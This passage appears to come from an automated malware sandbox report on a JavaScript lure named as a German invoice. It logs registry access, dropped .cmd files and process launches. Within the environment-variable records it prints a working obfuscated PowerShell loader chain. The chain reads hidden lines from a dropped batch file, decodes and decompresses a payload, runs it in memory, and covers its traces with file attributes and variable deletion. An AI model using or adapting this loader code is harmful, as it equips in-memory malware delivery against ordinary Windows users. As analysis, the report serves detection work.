00000000-00000868.00000001.236285.29FB0000.00000004.mdmp, 00000000-00000868.00000001.236285.2B7E0000.00000004.mdmp, 00000000-00000868.00000001.236285.44120000.00000004.mdmp, 00000000-00000868.00000001.236285.44710000.00000004.mdmp")38:Tcb8,"WScript.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "WScript.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}") "WScript.exe" touched "Sync root manager" (Path: "HKCU\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\INSTANCE") "WScript.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "WScript.exe" touched "Security Manager" (Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "WScript.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "WScript.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "WScript.exe" touched "JScript Language" (Path: "HKCU\CLSID\{F414C260-6AC0-11CF-B6D1-00AA00BBBB58}\TREATAS") "WScript.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "WScript.exe" touched "Constructor that allows hosts better control creating scriptlets" (Path: "HKCU\CLSID\{06290BD1-48AA-11D2-8432-006008C3FBFC}\TREATAS") "WScript.exe" touched "Windows Script Host Shell Object" (Path: "HKCU\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\TREATAS") "powershell.exe" touched "Microsoft WBEM Call Context" (Path: "HKCU\WOW6432NODE\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}") "powershell.exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKCU\WOW6432NODE\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}") "powershell.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\WOW6432NODE\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\PROGID") "powershell.exe" touched "Wininet Cache task object" (Path: "HKCU\HKEY_CURRENT_USER\SOFTWARE\CLASSES\CLSID\{0358B920-0AC7-461F-98F4-58E32CD89148}") "powershell.exe" touched "WBEM Locator" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "powershell.exe" touched "PSFactoryBuffer" (Path: "HKCU\WOW6432NODE\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\WOW6432NODE\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSinkEx" (Path: "HKCU\WOW6432NODE\CLSID\{00B8308C-09F2-4C18-A7B0-4594D6B22EFE}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSink" (Path: "HKCU\WOW6432NODE\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\TREATAS") "powershell.exe" touched "Custom Destination List" (Path: "HKCU\WOW6432NODE\CLSID\{77F10CF0-3DB5-4966-B520-B7C54FD35ED6}\TREATAS") "powershell.exe" touched "Start Menu Cache" (Path: "HKCU\WOW6432NODE\CLSID\{660B90C8-73A9-4B58-8CAE-355B7F55341B}\TREATAS") "powershell.exe" touched "Shortcut" (Path: "HKCU\WOW6432NODE\CLSID\{00021401-0000-0000-C000-000000000046}\TREATAS") "powershell.exe" touched "A collection of IUnknown objects that can be enumerated" (Path: "HKCU\WOW6432NODE\CLSID\{2D3468C1-36A7-43B6-AC24-D3F02FD9607A}\TREATAS")39:Taf2,Observed system executable string:"/C:\Users0tyPL6LAppDataRoamingMICROS~1WindowsfLhGSTARTM~1ProgramsWINDOW~1WINDOW~1.LNKC:\Users\0tyPL6L\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnkbedcxdni3gvgswy'KPv'KPv1SPS1SPS/C:\B]QHWindowsEB]QH.System32WINDOW~1=K$uv1.0m=K$u.=Kgm powershell_ise.exe=Kgm=Kgm.C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe%systemroot%\system32\windowspowershell\v1.0\powershell_ise.exebedcxdni3gvgswy1SPS1SPS/C:\B]QHWindowsEB]QH.System32WINDOW~1=K$uv1.0m=K$u.=Kgm powershell_ise.exe=Kgm=Kgm.C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe%systemroot%\system32\windowspowershell\v1.0\powershell_ise.exebedcxdni3gvgswy1SPS1SPS" [Source: RAP3MVT72BSEYKQWA9FG.temp] Observed system executable string:"%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00007632-00000C47-2658518578] Observed system executable string:""%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -command &($executioncontext.InvokeCommand.NewScriptBlock([" [Source: 00000000-00007632-00000C47-2658518578] Observed system executable string:"%WINDIR%\System32\cmd.exe" [Source: 00000000-00007632-00000BC1-2673513106] Observed system executable string:"%WINDIR%\system32\cmd.exe" [Source: 00000000-00007632-00000C47-14856820389] Observed system executable string:""%WINDIR%\system32\cmd.exe" /c call "%LOCALAPPDATA%\Microsoft\Windows\Caches\54102062952225.cmd" & attrib +h +s" [Source: 00000000-00007632-00000C47-14856820389] Observed system executable string:""%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "&($executioncontext.InvokeCommand.NewScriptBlock" [Source: 00000000-00005296-00000C47-1126195282], Observed system executable string:"%WINDIR%\System32\attrib.exe" [Source: 00000000-00005296-00000BC0-2681969472], Observed system executable string:"%WINDIR%\system32\attrib.exe" [Source: 00000000-00005296-00000C47-19814423832], Observed system executable string:"%WINDIR%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00001280-00000C47-10598573694], Observed system executable string:""%WINDIR%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "&($executioncontext.InvokeCommand.NewScriptBlock(" [Source: 00000000-00001280-00000C47-10598573694] Observed system executable string:"%WINDIR%\system32\windowspowershell\v1.0\powershell_ise.exe" [Source: 00000000-00007652-00000C2E-1872538186] Observed system executable string:"%WINDIR%\system32\choice.exe" [Source: 00000000-00007652-00000C47-79188439797] Observed system executable string:""%WINDIR%\system32\choice.exe"" [Source: 00000000-00007652-00000C47-79188439797]3a:T1931,Process "powershell.exe" (UID: 00000000-00000652) was launched with new environment variables: "XZCQNZ="541020629", DRLZETRX="/*", VJKUCC="File", BJSEVRJW="C:\Rechnung103971GmbH10-02-2026.js", TYNRGNDH="System", USERDNSDOMAIN="beDCxDnI3GvgswY", HXIHKE="$KRFPO=$env:BJSEVRJW;$VLUCVRHQ=$env:RKXV+$env:XZCQNZ+$env:BAYEK+'.'+$env:KCMJHWD;$ZFESWUOH=$env:TYNRGNDH+$env:BJCKBTLX+$env:VJKUCC;$UBLIGPO=$env:RMZRW+$env:IJHL+$env:MYSHGAY;$AZROL=$env:IJGMIZJ+$env:IJHL+$env:MYSHGAY;$HHGN=0;while($HHGN-lt8){$HHGN++;$NVHH=0;$REPNJ=@();try{$ty=[type]$ZFESWUOH;$XLXR=$ty::$UBLIGPO($KRFPO);for($CNIDQHV=0;$CNIDQHV-lt@($XLXR).Length;$CNIDQHV++){$ln=@($XLXR)[$CNIDQHV];if($ln-eq$env:DRLZETRX){$NVHH=1;continue};if($NVHH-and$ln-eq$env:OKSVCMGT){break};if($NVHH){$REPNJ+=$ln}}}catch{};if($REPNJ){$ty::$AZROL($VLUCVRHQ,[string[]]$REPNJ);break};$k=0;while($k-lt500000){$k++}}", BJCKBTLX=".IO.", RMZRW="Read", KCMJHWD="cmd", IJHL="All", MYSHGAY="Lines", RKXV="%LOCALAPPDATA%\Microsoft\Windows\Caches\", BAYEK="52225", IJGMIZJ="Write", OKSVCMGT="*/"" Process "powershell.exe" (UID: 00000000-00000652) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "powershell.exe" (UID: 00000000-00000868) was launched with new environment variables: "KWIHXS="C:\WINDOWS", YMSFJLTZF="&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:OBGNKQ))", REPLBN="ell\v1.0\po", BIVB="Script", WPTU="&($ex", PDWMNGYBB="start", YVQLPM="%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe", BIOYBNUA="/b", EQVM="keCom", INLR="mand.", BDUD="NoProfile", TGEZ="wer", REPTW="wer", MVGF="MGTH", LUUJY="Po", OBGNKQ="$p=$env:DATJMLXW;if(-not $p){return};$h='';$t=[type](('IO.Fil{0}'-f'e'));foreach($l in $t.GetMethod(('Read{0}'-f'AllLines') [type[]]@([string])).Invoke($null,@($p))){$i=$l.IndexOf('set '+[char]34+'LCXFRA');if($i-ge0){$c=$l.Substring($i+11);if($c.EndsWith([char]34)){$c=$c.Substring(0,$c.Length-1)};$h+=$c}};$k=[int]$env:LPAG;$n=$h.Length/2;$b=New-Object byte[] $n;for($i=0;$i-lt$n;$i++){$b[$i]=[byte](([Convert]::(('To{0}'-f'Byte'))($h.Substring($i*2,2) 16)+256-$k)%256)};$env:XDKLUZDB=[Text.Encoding]::GetEncoding(65001).GetString($b);&($executioncontext.(('Invo{0}'-f'keCommand')).($(('New{0}'-f'ScriptBlock')))([string]$env:XDKLUZDB))", SRVU="Block([string]$env:OBGNKQ))", ZBZWXN="Sh", ZJKHKT="dows", CEXANM="exe", LPAG="19", VRKSTZNDW="\System32\WindowsPowerShell\v1.0\powershell.exe", SRAQFJP="-Command", KAOMLG="ell.", DEJK="-", RBAOZE="\sysnative\WindowsPowerShell\v1.0\powershell.exe", MGTH="123", CQVT="-", JEQM="Invo", QBEVJT="\System32\Win", TSEKVDYRE="VQPHXBQT", DATJMLXW="%LOCALAPPDATA%\Microsoft\Windows\Caches\54102062952225.cmd", JUJFFW="sh", SFOJBU="-NoProfile", QWQP="New", VFQM="Command", DPRR="context.", SZXNEURFC="SystemRoot", CPNL="ecution", TVLAPZ="\sysnative\Win"" Process "powershell.exe" (UID: 00000000-00001280) was launched with new environment variables: "TBJH="163", VQBNNU="\SysWOW64\Win", PDIKICCRPGVV="%LOCALAPPDATA%\Microsoft\Windows\Caches\54102062952225.cmd", PDIC="40", JXBL="-", ZTNN="NoProfile", OUJHWWONOVSB="C:\WINDOWS", CTQFEV="-Command", FCIUYEPTJ="\SysWOW64\WindowsPowerShell\v1.0\powershell.exe", UAIBQ="%WINDIR%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe", DESB="Command", SYETXZDI="JHAJD", VZPE="-", RSBEUBDCW="SystemRoot", FQHVWG="%LOCALAPPDATA%\Microsoft\Windows\Caches\54102062952225.cmd", IXOUP="-NoProfile", IUVB="13"" Process "powershell.exe" (UID: 00000000-00001280) was launched with modified environment variables: "MVGF, TSEKVDYRE" Process "powershell.exe" (UID: 00000000-00007652) was launched with new environment variables: "XDKLUZDB="$kJWT=[int]((Get-Item -LiteralPath ('env:'+[string]$env:MVGF) -EA Stop).Value);$hSRQ='';$pTNY='set "'+[string]$env:TSEKVDYRE;$tQCP=[type]('IO.Fil'+'e');foreach($nEWC in $tQCP.$('Get'+'Method')(('Read'+'AllLines') [type[]]@([string])).Invoke($null,@($env:DATJMLXW))){if(-not $nEWC -or -not $nEWC.StartsWith($pTNY)){continue};$cSGM=$nEWC.Substring($pTNY.Length);if($cSGM.Length -gt 0 -and $cSGM[0] -ne [char]61){if($cSGM.EndsWith([char]34)){$cSGM=$cSGM.Substring(0,$cSGM.Length-1)};$cSGM=$cSGM.Replace((''+[char]95) '');$hSRQ+=$cSGM}}if(-not $hSRQ){$bEGY=New-Object byte[] 0}else{$bEGY=[Convert]::FromBase64String($hSRQ);for($iIRI=0;$iIRI-lt$bEGY.Length;$iIRI++){$bEGY[$iIRI]=($bEGY[$iIRI] -bxor $kJWT)};$mGKH=New-Object IO.MemoryStream(,$bEGY);$gGBH=New-Object IO.Compression.GZipStream($mGKH,[IO.Compression.CompressionMode]::Decompress);$oFGG=New-Object IO.MemoryStream;$gGBH.CopyTo($oFGG);$gGBH.Dispose();$mGKH.Dispose();$bEGY=$oFGG.ToArray()};try{$__dn=[string]$env:TSEKVDYRE;if($__dn){Remove-Item -LiteralPath ('env:'+$__dn) -EA SilentlyContinue}}catch{};[GC]::Collect();$executioncontext.InvokeCommand.NewScriptBlock([Text.Encoding]::GetEncoding(65001).GetString($bEGY)).Invoke()"" Process "powershell.exe" (UID: 00000000-00007652) was launched with modified environment variables: "MVGF, TSEKVDYRE" Process "attrib.exe" (UID: 00000000-00007088) was launched with missing environment variables: "TBJH, VQBNNU, KWIHXS, PDIKICCRPGVV, YMSFJLTZF, REPLBN, PDIC, BIVB, WPTU, PDWMNGYBB, YVQLPM, JXBL, BIOYBNUA, EQVM, INLR, BDUD, TGEZ, ZTNN, XDKLUZDB, REPTW, OUJHWWONOVSB, MVGF, CTQFEV, LUUJY, FCIUYEPTJ, OBGNKQ, SRVU, ZBZWXN, ZJKHKT, CEXANM, UAIBQ, LPAG, VRKSTZNDW, DESB, SYETXZDI, SRAQFJP, VZPE, RSBEUBDCW, KAOMLG, DEJK, FQHVWG, RBAOZE, MGTH, CQVT, JEQM, IXOUP, QBEVJT, TSEKVDYRE, DATJMLXW, JUJFFW, SFOJBU, QWQP, VFQM, DPRR, SZXNEURFC, CPNL, TVLAPZ, IUVB" Process "choice.exe" (UID: 00000000-00004940) was launched with new environment variables: "KARMO_PE_NET="1", PDIKICCRPGVV="%LOCALAPPDATA%\Microsoft\Windows\Caches\54102062952225.cmd", KARMO_HANDOFF_DBG="handoff_dbg_7652_cc978a49.txt", KARMO_PE_IMPS="mscoree.dll", KARMO_PE_PREF="400000", KARMO_HANDOFF_DETACH="1", KARMO_HOLLOW_CTX="1", KARMO_PE_IMG="42000"" Process "choice.exe" (UID: 00000000-00004940) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, PSModulePath, ProgramFiles, CommonProgramFiles" Process "choice.exe" (UID: 00000000-00004940) was launched with missing environment variables: "USERDOMAIN_ROAMINGPROFILE, XZCQNZ, NVM_SYMLINK, PROCESSOR_LEVEL, SSLKEYLOGFILE, DRLZETRX, VJKUCC, SESSIONNAME, ALLUSERSPROFILE, BJSEVRJW, TYNRGNDH, USERDNSDOMAIN, HXIHKE, BJCKBTLX, CURL_CA_BUNDLE, RMZRW, KCMJHWD, ProgramW6432, IJHL, LOGONSERVER, PROMPT, MYSHGAY, RKXV, OneDrive, BAYEK, IJGMIZJ, NVM_HOME, PROCESSOR_REVISION, CommonProgramW6432, OKSVCMGT"3b:T428,"WScript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "WScript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "WScript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "SYEARMONTH") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409")3c:Tf74,Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00007632-00000C2B-2667478881] Observed system executable string:"%WINDIR%\system32\advapi32.dll" [Source: 00000000-00007632-00000C2B-2667688047] Observed system executable string:"%WINDIR%\system32\kernel32.dll" [Source: 00000000-00007632-00000C2B-2667985036] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00000652-00000C2E-136244974] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00000652-00000C2B-2669293400] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00000652-00000C2B-2669357137] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00000652-00000C2B-2669408151] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll" [Source: 00000000-00000652-00000C2B-2669577131] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00000652-00000C2B-2669591240] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00000652-00000C2B-2669614827] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00000652-00000C2B-2669646712] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll" [Source: 00000000-00000652-00000C2B-2669692422] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll" [Source: 00000000-00000652-00000C2B-2669718639] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00000652-00000C2B-2669768237] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00000652-00000C2B-2669862898] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00000652-00000C2B-2669937757] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00000652-00000C2B-2670059182] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00000652-00000C2B-2670074900] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00000652-00000C2B-2670200169] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00000652-00000C2B-2670376970] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00000652-00000C2B-2670565013] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00000652-00000C2B-2670576853] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00000652-00000C2B-2670600303] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" [Source: 00000000-00000652-00000C2B-2670625974] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" [Source: 00000000-00000652-00000C2B-2670802468]3d:T4ac,"search_crc_NQFEMERLh.cmd" has type "DOS batch file ASCII text with very long lines (2683) with CRLF line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Windows\Caches\search_crc\search_crc_NQFEMERLh.cmd]- [targetUID: 00000000-00007652] "search_crc.dat" has type "ASCII text with very long lines (6016) with CRLF line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Windows\Caches\search_crc\search_crc.dat]- [targetUID: 00000000-00007652] "ModuleAnalysisCache" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\ModuleAnalysisCache]- [targetUID: 00000000-00000868] "StartupProfileData-NonInteractive" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00000652] "search_crc_PNIAFPLE.cmd" has type "ASCII text with very long lines (6016) with CRLF line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Windows\Caches\search_crc\search_crc_PNIAFPLE.cmd]- [targetUID: 00000000-00007652] "54102062952225.cmd" has type "ASCII text with very long lines (6016) with CRLF line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Windows\Caches\54102062952225.cmd]- [targetUID: 00000000-00000652]3e:T5b2,"WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\DEVICECLASSES\{53F5630D-B6BF-11D0-94F2-00A0C91EFB8B}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\DEVICECLASSES\{53F5630D-B6BF-11D0-94F2-00A0C91EFB8B}\PROPERTIES"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{815EAD30-0000-0000-0000-100000000000}\"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{815EAD30-0000-0000-0000-501F00000000}\"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\EXPLORER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\EXPLORER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: ""; Value: "")3f:Te65,"WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{815EAD30-0000-0000-0000-100000000000}"; Key: "DATA"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{815EAD30-0000-0000-0000-100000000000}"; Key: "GENERATION"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{815EAD30-0000-0000-0000-501F00000000}"; Key: "DATA"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{815EAD30-0000-0000-0000-501F00000000}"; Key: "GENERATION"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\EXPLORER"; Key: "USEFINDFIRSTFILEENUMERATION"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "836D9D37-46C1-41BE-A956-09B88F964468"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOPROPERTIESMYCOMPUTER"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOPROPERTIESMYCOMPUTER"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOPROPERTIESRECYCLEBIN"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOPROPERTIESRECYCLEBIN"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOCONTROLPANEL"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOCONTROLPANEL"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOSETFOLDERS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOSETFOLDERS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOINTERNETICON"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOINTERNETICON"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE"; Key: "VALIDATEREGITEMS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE"; Key: "MONITORREGISTRY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOCOMMONGROUPS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOCOMMONGROUPS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "ATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "CALLFORATTRIBUTES"; Value: "")40:Tb01,"WScript.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows Defender\Platform\4.12.17007.18022-0\SLC.DLL" "WScript.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows Defender\Platform\4.12.17007.18022-0\SPPC.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\mscoree.dll" "powershell.exe" trying to access non-existent file 